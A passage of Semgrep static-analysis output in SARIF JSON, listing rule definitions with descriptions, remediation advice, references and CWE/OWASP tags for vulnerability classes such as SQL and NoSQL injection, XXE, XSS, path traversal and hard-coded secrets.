recommendation."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","id":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","name":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"help":{"markdown":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe)\n - [https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://stackoverflow.com/questions/7665512/why-use-is-safe](https://stackoverflow.com/questions/7665512/why-use-is-safe)\n","text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","id":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","name":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","id":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","name":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","id":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","name":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","id":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","name":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask","id":"python.flask.db.pymongo-flask.pymongo-flask","name":"python.flask.db.pymongo-flask.pymongo-flask","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.pymongo-flask.pymongo-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GCM IV/nonce is reused: encryption can be totally useless"},"help":{"markdown":"GCM IV/nonce is reused: encryption can be totally useless\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"GCM IV/nonce is reused: encryption can be totally useless"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","id":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","name":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://bento.dev/checks/boto3/hardcoded-access-token/](https://bento.dev/checks/boto3/hardcoded-access-token/)\n - [https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/](https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token","id":"python.boto3.security.hardcoded-token.hardcoded-token","name":"python.boto3.security.hardcoded-token.hardcoded-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.boto3.security.hardcoded-token.hardcoded-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli)\n - [https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute](https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","id":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","name":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","id":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","name":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"help":{"markdown":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random","id":"scala.lang.security.audit.insecure-random.insecure-random","name":"scala.lang.security.audit.insecure-random.insecure-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.insecure-random.insecure-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","id":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","name":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","id":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","name":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express","id":"javascript.express.db.mongodb-where-express.mongodb-where-express","name":"javascript.express.db.mongodb-where-express.mongodb-where-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-where-express.mongodb-where-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"help":{"markdown":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse)\n - [https://pkg.go.dev/path#Clean](https://pkg.go.dev/path#Clean)\n - [http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html](http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html)\n - [https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/](https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/)\n - [https://dzx.cz/2021/04/02/go_path_traversal/](https://dzx.cz/2021/04/02/go_path_traversal/)\n - [https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme](https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme)\n","text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"helpUri":"https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse","id":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","name":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.filepath-clean-misuse.filepath-clean-misuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","id":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","name":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH 